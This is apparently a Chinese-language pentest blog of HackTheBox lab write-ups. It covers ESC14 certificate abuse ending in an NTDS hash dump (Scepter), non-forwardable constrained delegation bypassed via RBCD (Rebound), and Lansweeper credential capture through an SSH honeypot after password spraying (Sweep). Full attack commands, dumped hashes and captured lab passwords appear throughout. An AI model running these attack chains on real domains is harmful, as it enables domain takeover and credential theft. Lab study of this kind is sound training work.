msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE

distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE

这个p.adams用户能打dcsync

很明了了，能写altSecurityIdentities就意味着能重新打一次esc14

查看一下这个用户是否存在altSecurityIdentities

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $FQDN -d scepter.htb -k get object p.adams --attr altSecurityIdentities 
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb

不存在，给它写一个，注意这里其实能随意写，只要后面能正常对应就行

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $FQDN -d $domain -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>wackymaker@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated

之后和之前一样的打法

因为环境恢复脚本的原因,前面的部分操作我需要重复操作

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $ip -d scepter.htb -u $user1 -p $pass1 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter
[+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $FQDN -d $domain -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>wackymaker@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodyAD --host $ip -d scepter.htb -u $user1 -p $pass1 set object d.baker mail -v wackymaker@scepter.htb
[+] d.baker's mail has been updated

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy req -username d.baker@scepter.htb -hashes :$hash -target dc01.scepter.htb -ca scepter-DC01-CA -template StaffAccessCertificate -dc-ip $ip
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
[*] Wrote certificate and private key to 'd.baker.pfx'

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy auth -pfx d.baker.pfx -dc-ip $ip -domain scepter.htb -username p.adams
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'p.adams@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'p.adams.ccache'
[*] Wrote credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0

成功获取管理权限

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ nxc smb -dc-ip $ip -u p.adams -H 1b925c524f447bb821a8789c4b118ce0 --ntds
[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] y
SMB         10.129.103.0    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domin:scepter.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.103.0    445    DC01             [+] c-ip\p.adams:1b925c524f447bb821a8789c4b118ce0 
SMB         10.129.103.0    445    DC01             [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         10.129.103.0    445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.129.103.0    445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
SMB         10.129.103.0    445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.129.103.0    445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c030fca580038cc8b1100ee37064a4a9:::
SMB         10.129.103.0    445    DC01             scepter.htb\d.baker:1106:aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce:::
SMB         10.129.103.0    445    DC01             scepter.htb\a.carter:1107:aad3b435b51404eeaad3b435b51404ee:656d231c131a8f1ea8fd1138b8185674:::
SMB         10.129.103.0    445    DC01             scepter.htb\h.brown:1108:aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c:::
SMB         10.129.103.0    445    DC01             scepter.htb\p.adams:1109:aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0:::
SMB         10.129.103.0    445    DC01             scepter.htb\e.lewis:2101:aad3b435b51404eeaad3b435b51404ee:628bf1914e9efe3ef3a7a6e7136f60f3:::
SMB         10.129.103.0    445    DC01             scepter.htb\o.scott:2102:aad3b435b51404eeaad3b435b51404ee:3a4a844d2175c90f7a48e77fa92fce04:::
SMB         10.129.103.0    445    DC01             scepter.htb\M.clark:2103:aad3b435b51404eeaad3b435b51404ee:8db1c7370a5e33541985b508ffa24ce5:::
SMB         10.129.103.0    445    DC01             DC01$:1000:aad3b435b51404eeaad3b435b51404ee:0a4643c21fd6a17229b18ba639ccfd5f:::
SMB         10.129.103.0    445    DC01             [+] Dumped 11 NTDS hashes to /home/wackymaker/.nxc/logs/ntds/10.129.103.0_None_2025-09-01_163758.ntds of which 10 were added to the database
SMB         10.129.103.0    445    DC01             [*] To extract only enabled accounts from the output file, run the following command: 
SMB         10.129.103.0    445    DC01             [*] cat /home/wackymaker/.nxc/logs/ntds/10.129.103.0_None_2025-09-01_163758.ntds | grep -iv disabled | cut -d ':' -f1
SMB         10.129.103.0    445    DC01             [*] grep -iv disabled /home/wackymaker/.nxc/logs/ntds/10.129.103.0_None_2025-09-01_163758.ntds | cut -d ':' -f1

登陆就能拿到flag了，我今天赶时间去网吧，文章就写到这里

不可转发情况下的约束委派攻击

Thu, 28 Aug 2025 13:43:59 +0800

要理解不可转发约束委派为何是难以被攻击的，我们需要了解约束委派本身

约束委派简介

简单来说，约束委派是域内的一种机制：允许某个账号（如sever1$)，以其他用户的身份访问特定服务（如 HTTP/dc01.corp.local）。

被允许访问的服务通过 AD 属性 msDS-AllowedToDelegateTo 控制

为了实现这种效果，它用到两个kerberos扩展，分别是S4U2Self以及S4U2Proxy，并且S4U2Self存在一个拓展机制也就是所谓的Protocol Transition（协议转换），正常来说我们遇到的约束委派是默认开启了协议转换的，当我们请求S4U2Self的时候kdc会返回一个代表目标用户的票据，但是是否允许我们利用此票据去请求对应的st，则是协议转换决定的，准确来说是取决于这个票据是否有 forwardable 属性，一旦该票据开启此属性，我们就可以很愉快的使用约束委派的常用打法，直接请求一个管理员的st用来访问对应服务，或者是进行impacket包的攻击。

不过这次我们遇到的是不可转发约束委派

实验环境

要完成这种攻击两个特殊的前提，1是具有约束委派的用户需要是机器用户，2是这个机器用户注册了自己的服务（实际上机器用户在创建时就会存在spn，所以是个默认情况），这两个条件缺一不可，可以简单的理解为，既然不允许我们委派任意用户，不如我们直接先变成任意用户之后再去委派。

练习靶机的时候htb的Rebound很好的模拟了这一特殊环境，所以我会直接利用它来进行说明，而事实上我也是从它这里学到可以这么做的。

实验环境如下 IP：10.129.194.21；FQDN：DC01.rebound.htb；具有委派的用户信息：delegator$/c5c2c04a2590c117fa9e1a07a110dad3，和一个普通域用户：ldap_monitor/1GR8t@$$4u

使用工具如下：impacket包

在开始攻击之前，可以通过下面看到delegator$确实配置了约束委派

但是当我们直接请求管理员的时候会报错

其中报错点明了Probably SPN is not allowed to delegate by user delegator$ or initial TGT not forwardable，也就是tgt可能不存在forwardable所以不允许转发票据

这时如果我们抓取猎犬如果看到了这个机器用户存在注册服务，就像这样

我们就可以尝试利用手动构造rbcd（基于资源委派）来强制以任意用户访问delegator$这个机器账户，因为不存在forwardable这个属性只是不允许我们以任意用户请求，并不是不允许请求，所以只要我们提前以及做到了任意用户的身份认证搞到了一张可转发tgs，我们就可以利用这个约束委派去访问目标服务

实际操作

具体做法如下

首先将delegator$msDS-AllowedToActOnBehalfOfOtherIdentity属性写入ldap_monitor，将其拥有对delegator$打rbcd的权限，其实也就是为了提前一步伪造为任意用户

利用这层身份，我们可以ldap_monitor以任意身份请求delegator$注册的服务，这里我们直接以dc的机器用户请求

现在我们以及完成了提前一步伪造为我们需要的用户，接下来我们就能直接拿着这张票据去请求约束委派

而这张票据就是我们成功以dc01$的身份在没有开启协议转换的情况下请求了约束委派的服务

而我们可以利用它去打dcsync，其结果证明了我们的成功

可以这么简单的理解约束委派利用的两个机制，我简写为ss和sp,ss用于请求一个tgs（sp用于将这个tgs请求st，但是这里如果开了不可转发的话ss流程获取的tgs就没法用st转发，这时我们构造的环境其实是绕过ss，通过构造rbcd获取了一个tgs，这个tgs由于没有经过ss所以是可以转发的，也就可以利用sp利用

小解答

这里简单的解决两个可能会导致疑惑的问题一：为什么必须 browser 是 delegator$ 注册的 SPN？

这是因为TGS 票据是针对特定服务 SPN 的，KDC 在处理 S4U2Proxy 请求时，会检查：TGS 的服务是否等于你（delegator$）账号注册的服务；如果不匹配，就无法用该 TGS 请求进一步的 ST。所以必须构造一个 delegator$ 能“合法代理”的票据，也就是它自己注册的服务 SPN，如 browser/dc01.rebound.htb。

二：为什么 ldap_monitor 能获取伪造票据？

因为我们手动将 ldap_monitor 加入到 delegator$ 对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 中，KDC 会允许 ldap_monitor 代表任意用户（如 DC01$）请求对 delegator$ 注册的服务（browser）的票据。这也是rbcd（基于资源委派）的基础打法

三：为什么我们以及拥有了browser的身份为dc01的st，还需要利用http服务？

拿到 browser 的票据只是“中间的跳板”，我们必须借助 delegator$ 的约束委派配置，把这个伪造的身份票据变成能访问目标服务（http）的 ST，才能完成最终攻击。

sweep-wp

Wed, 27 Aug 2025 23:00:26 +0800

机器简介

一台中等难度的dc，来自vulnhub，但是最近并入了htb，所以我乐意在闲暇时间玩一玩

机器在开始前附带信息如下

用户标志位于 C：\ 中，而不是用户的主目录中。请记住，HTB 实验室阻止了到玩家 VPN 隧道 IP 的 TCP 端口 22 流量。

将变量脚本生成好，并且解析域名并配置krb5.conf

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo ip=10.129.203.20>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb $ip --generate-hosts-file hostname
SMB         10.129.203.20   445    INVENTORY        [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domin:sweep.vl) (signing:True) (SMBv1:False) (Null Auth:True)

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo domain=sweep.vl>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo FQDN=INVENTORY.sweep.vl>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ cat start.sh 
ip=10.129.203.20
domain=sweep.vl
FQDN=INVENTORY.sweep.vl

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ ping $ip
PING 10.129.203.20 (10.129.203.20) 56(84) bytes of data.
64 bytes from 10.129.203.20: icmp_seq=1 ttl=127 time=237 ms
64 bytes from 10.129.203.20: icmp_seq=2 ttl=127 time=234 ms
^C
--- 10.129.203.20 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 234.054/235.340/236.626/1.286 ms

初步打点

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ rustscan -a $ip
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
You miss 100% of the ports you don't scan. - RustScan

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.203.20:53
Open 10.129.203.20:81
Open 10.129.203.20:82
Open 10.129.203.20:88
Open 10.129.203.20:135
Open 10.129.203.20:139
Open 10.129.203.20:389
Open 10.129.203.20:445
Open 10.129.203.20:464
Open 10.129.203.20:593
Open 10.129.203.20:636
Open 10.129.203.20:3268
Open 10.129.203.20:3269
Open 10.129.203.20:3389
Open 10.129.203.20:5985

看样子是开了81，82的域控，详细扫描一下81，82

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nmap -p 81,82 -sC -sV --min-rate=10000 $ip
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-27 09:39 EDT
Nmap scan report for INVENTORY.sweep.vl (10.129.203.20)
Host is up (0.24s latency).

PORT   STATE SERVICE  VERSION
81/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-title: Lansweeper - Login
|_Requested resource was /login.aspx
82/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn: 
|_  http/1.1
| http-title: Lansweeper - Login
|_Requested resource was /login.aspx
| ssl-cert: Subject: commonName=Lansweeper Secure Website
| Subject Alternative Name: DNS:localhost, DNS:localhost, DNS:localhost
| Not valid before: 2021-11-21T09:22:27
|_Not valid after:  2121-12-21T09:22:27
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.95 seconds

是个很兼容域控的管理平台，没有枚举到存在默认界面或者可以利用的历史漏洞

检查匿名特权

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb "$ip" -u guest -p '' --shares
SMB         10.129.203.20   445    INVENTORY        [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domin:sweep.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.203.20   445    INVENTORY        [+] sweep.vl\guest: 
SMB         10.129.203.20   445    INVENTORY        [*] Enumerated shares
SMB         10.129.203.20   445    INVENTORY        Share           Permissions     Remark
SMB         10.129.203.20   445    INVENTORY        -----           -----------     ------
SMB         10.129.203.20   445    INVENTORY        ADMIN$                          Remote Admin
SMB         10.129.203.20   445    INVENTORY        C$                              Default share
SMB         10.129.203.20   445    INVENTORY        DefaultPackageShare$ READ            Lansweeper PackageShare
SMB         10.129.203.20   445    INVENTORY        IPC$            READ            Remote IPC
SMB         10.129.203.20   445    INVENTORY        Lansweeper$                     Lansweeper Actions
SMB         10.129.203.20   445    INVENTORY        NETLOGON                        Logon server share

smb存在匿名，DefaultPackageShare$特殊目录当中只有一张图片

元数据没有信息，既然有匿名权限则rid爆破

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb $ip -u guest -p '' --rid-brute
SMB         10.129.203.20   445    INVENTORY        [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domin:sweep.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.203.20   445    INVENTORY        [+] sweep.vl\guest: 
SMB         10.129.203.20   445    INVENTORY        498: SWEEP\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        500: SWEEP\Administrator (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        501: SWEEP\Guest (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        502: SWEEP\krbtgt (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        512: SWEEP\Domain Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        513: SWEEP\Domain Users (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        514: SWEEP\Domain Guests (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        515: SWEEP\Domain Computers (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        516: SWEEP\Domain Controllers (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        517: SWEEP\Cert Publishers (SidTypeAlias)
SMB         10.129.203.20   445    INVENTORY        518: SWEEP\Schema Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        519: SWEEP\Enterprise Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        520: SWEEP\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        521: SWEEP\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        522: SWEEP\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        525: SWEEP\Protected Users (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        526: SWEEP\Key Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        527: SWEEP\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        553: SWEEP\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.203.20   445    INVENTORY        571: SWEEP\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.203.20   445    INVENTORY        572: SWEEP\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.203.20   445    INVENTORY        1000: SWEEP\INVENTORY$ (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1101: SWEEP\DnsAdmins (SidTypeAlias)
SMB         10.129.203.20   445    INVENTORY        1102: SWEEP\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        1103: SWEEP\Lansweeper Admins (SidTypeGroup)
SMB         10.129.203.20   445    INVENTORY        1113: SWEEP\jgre808 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1114: SWEEP\bcla614 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1115: SWEEP\hmar648 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1116: SWEEP\jgar931 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1117: SWEEP\fcla801 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1118: SWEEP\jwil197 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1119: SWEEP\grob171 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1120: SWEEP\fdav736 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1121: SWEEP\jsmi791 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1122: SWEEP\hjoh690 (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1123: SWEEP\svc_inventory_win (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1124: SWEEP\svc_inventory_lnx (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        1125: SWEEP\intern (SidTypeUser)
SMB         10.129.203.20   445    INVENTORY        3101: SWEEP\Lansweeper Discovery (SidTypeGroup)

提取用户名字典

Administrator
Guest
krbtgt
INVENTORY$
jgre808
bcla614
hmar648
jgar931
fcla801
jwil197
grob171
fdav736
jsmi791
hjoh690
svc_inventory_win
svc_inventory_lnx
intern

无预认证不存在，尝试爆破同用户密码

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb $ip -u users -p users 
·················
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\jwil197:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\grob171:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\fdav736:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\jsmi791:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\hjoh690:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\svc_inventory_win:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [-] sweep.vl\svc_inventory_lnx:intern SessionError 
SMB         10.129.203.20   445    INVENTORY        [+] sweep.vl\intern:intern

在爆破了两分钟后获得用户intern的凭证信息

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo user=intern>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo pass=intern>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb $ip -u $user -p $user --shares
SMB         10.129.203.20   445    INVENTORY        [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domin:sweep.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.203.20   445    INVENTORY        [+] sweep.vl\intern:intern 
SMB         10.129.203.20   445    INVENTORY        [*] Enumerated shares
SMB         10.129.203.20   445    INVENTORY        Share           Permissions     Remark
SMB         10.129.203.20   445    INVENTORY        -----           -----------     ------
SMB         10.129.203.20   445    INVENTORY        ADMIN$                          Remote Admin
SMB         10.129.203.20   445    INVENTORY        C$                              Default share
SMB         10.129.203.20   445    INVENTORY        DefaultPackageShare$ READ            Lansweeper PackageShare
SMB         10.129.203.20   445    INVENTORY        IPC$            READ            Remote IPC
SMB         10.129.203.20   445    INVENTORY        Lansweeper$     READ            Lansweeper Actions
SMB         10.129.203.20   445    INVENTORY        NETLOGON        READ            Logon server share 
SMB         10.129.203.20   445    INVENTORY        SYSVOL          READ            Logon server share 


┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc winrm $ip -u $user -p $user
WINRM       10.129.203.20   5985   INVENTORY        [*] Windows Server 2022 Build 20348 (name:INVENTORY) (domain:sweep.vl) 
WINRM       10.129.203.20   5985   INVENTORY        [-] sweep.vl\intern:intern

没有winrm权限，新权限能查看的Lansweeper$目录并没有有意思的内容，放猎犬

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ bloodhound-python -d $domain -c ALL -u $user -p $pass -ns $ip --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: sweep.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: inventory.sweep.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: inventory.sweep.vl
INFO: Found 17 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: inventory.sweep.vl
INFO: Done in 00M 49S
INFO: Compressing output into 20250827100014_bloodhound.zip

这个用户没有出站，但是能看到有个额外的域管，或许后面会有用

ssh蜜罐

这个用户局外没什么用了，用来登陆管理平台试试

这个用户并不够权限执行我枚举到的后台shell利用

在上方的扫描凭据接口，我找到了一些凭据，但是都通过加密，需要凭据验证

reddit的这个用户发言让我理解了该做什么，Lansweeper 将使用 Kerberos 身份验证，这样凭据本身就不会被发送到被扫描的计算机，但是 Linux 不具备这种配置，它所作的只是利用我们指定的凭据进行ssh登陆而已，所以我们可以配置一个蜜罐用于劫持登陆

这是个小型的ssh蜜罐

https://github.com/jaksi/sshesame

我们将沙箱配置在2222端口上，因为靶机已经提示了配置了22的防火墙

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ vim server.conf

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ cat server.conf 
server:
  listen_address: 10.10.16.22:2222

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ ./sshesame-linux-amd64 --config server.conf 
INFO 2025/08/27 10:23:01 No host keys configured, using keys at "/home/wackymaker/.local/share/sshesame"
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_rsa_key" not found, generating it
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_ecdsa_key" not found, generating it
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_ed25519_key" not found, generating it
INFO 2025/08/27 10:23:01 Listening on 10.10.16.22:2222

在扫描凭证-添加扫描目标中，选择扫描ip范围，选定我们蜜罐的范围，并选择2222端口（只显示22是因为它只显示两位数字）

并且在扫描凭据这里，将凭据映射绑定到ip范围的linux主机上，这样它就会利用保存凭证进行ssh登陆我们的蜜罐

回到扫描目标开始扫描并返回蜜罐等待

┌──(wackymaker?kali)-[~/tmp/hackthebox/sweep]
└─$ ./sshesame-linux-amd64 --config server.conf 
INFO 2025/08/27 10:23:01 No host keys configured, using keys at "/home/wackymaker/.local/share/sshesame"
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_rsa_key" not found, generating it
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_ecdsa_key" not found, generating it
INFO 2025/08/27 10:23:01 Host key "/home/wackymaker/.local/share/sshesame/host_ed25519_key" not found, generating it
INFO 2025/08/27 10:23:01 Listening on 10.10.16.22:2222
WARNING 2025/08/27 10:33:50 Failed to accept connection: Failed to establish SSH server connection: EOF
WARNING 2025/08/27 10:34:00 Failed to accept connection: Failed to establish SSH server connection: ssh: disconnect, reason 11: Session closed
2025/08/27 10:34:01 [10.129.203.20:61012] authentication for user "svc_inventory_lnx" without credentials rejected
2025/08/27 10:34:01 [10.129.203.20:61012] authentication for user "svc_inventory_lnx" with password "0|5m-U6?/uAX" accepted
2025/08/27 10:34:01 [10.129.203.20:61012] connection with client version "SSH-2.0-RebexSSH_5.0.8372.0" established
2025/08/27 10:34:02 [10.129.203.20:61012] [channel 0] session requested
2025/08/27 10:34:02 [10.129.203.20:61012] [channel 0] command "uname" requested
2025/08/27 10:34:02 [10.129.203.20:61012] [channel 0] closed
2025/08/27 10:34:02 [10.129.203.20:61012] connection closed
2025/08/27 10:34:03 [10.129.203.20:61014] authentication for user "svc_inventory_lnx" without credentials rejected
2025/08/27 10:34:04 [10.129.203.20:61014] authentication for user "svc_inventory_lnx" with password "0|5m-U6?/uAX" accepted
2025/08/27 10:34:04 [10.129.203.20:61014] connection with client version "SSH-2.0-RebexSSH_5.0.8372.0" established
2025/08/27 10:34:04 [10.129.203.20:61014] [channel 0] session requested
2025/08/27 10:34:04 [10.129.203.20:61014] [channel 0] PTY using terminal "xterm" (size 80x25) requested
2025/08/27 10:34:05 [10.129.203.20:61014] [channel 0] shell requested
2025/08/27 10:34:05 [10.129.203.20:61014] [channel 0] input: "smclp"
2025/08/27 10:34:05 [10.129.203.20:61014] [channel 0] input: "show system1"
WARNING 2025/08/27 10:34:15 Error sending CRLF: EOF
2025/08/27 10:34:15 [10.129.203.20:61014] [channel 0] closed
2025/08/27 10:34:15 [10.129.203.20:61014] connection closed

成功劫持用户凭证

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo user1=svc_inventory_lnx>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo pass1='0|5m-U6?/uAX'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ vim start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ echo $pass1
0|5m-U6?/uAX

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc smb $ip -u $user1 -p $pass1
SMB         10.129.203.20   445    INVENTORY        [*] Windows Server 2022 Build 20348 x64 (name:INVENTORY) (domin:sweep.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.203.20   445    INVENTORY        [+] sweep.vl\svc_inventory_lnx:0|5m-U6?/uAX 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sweep]
└─$ nxc winrm $ip -u $user1 -p $pass1
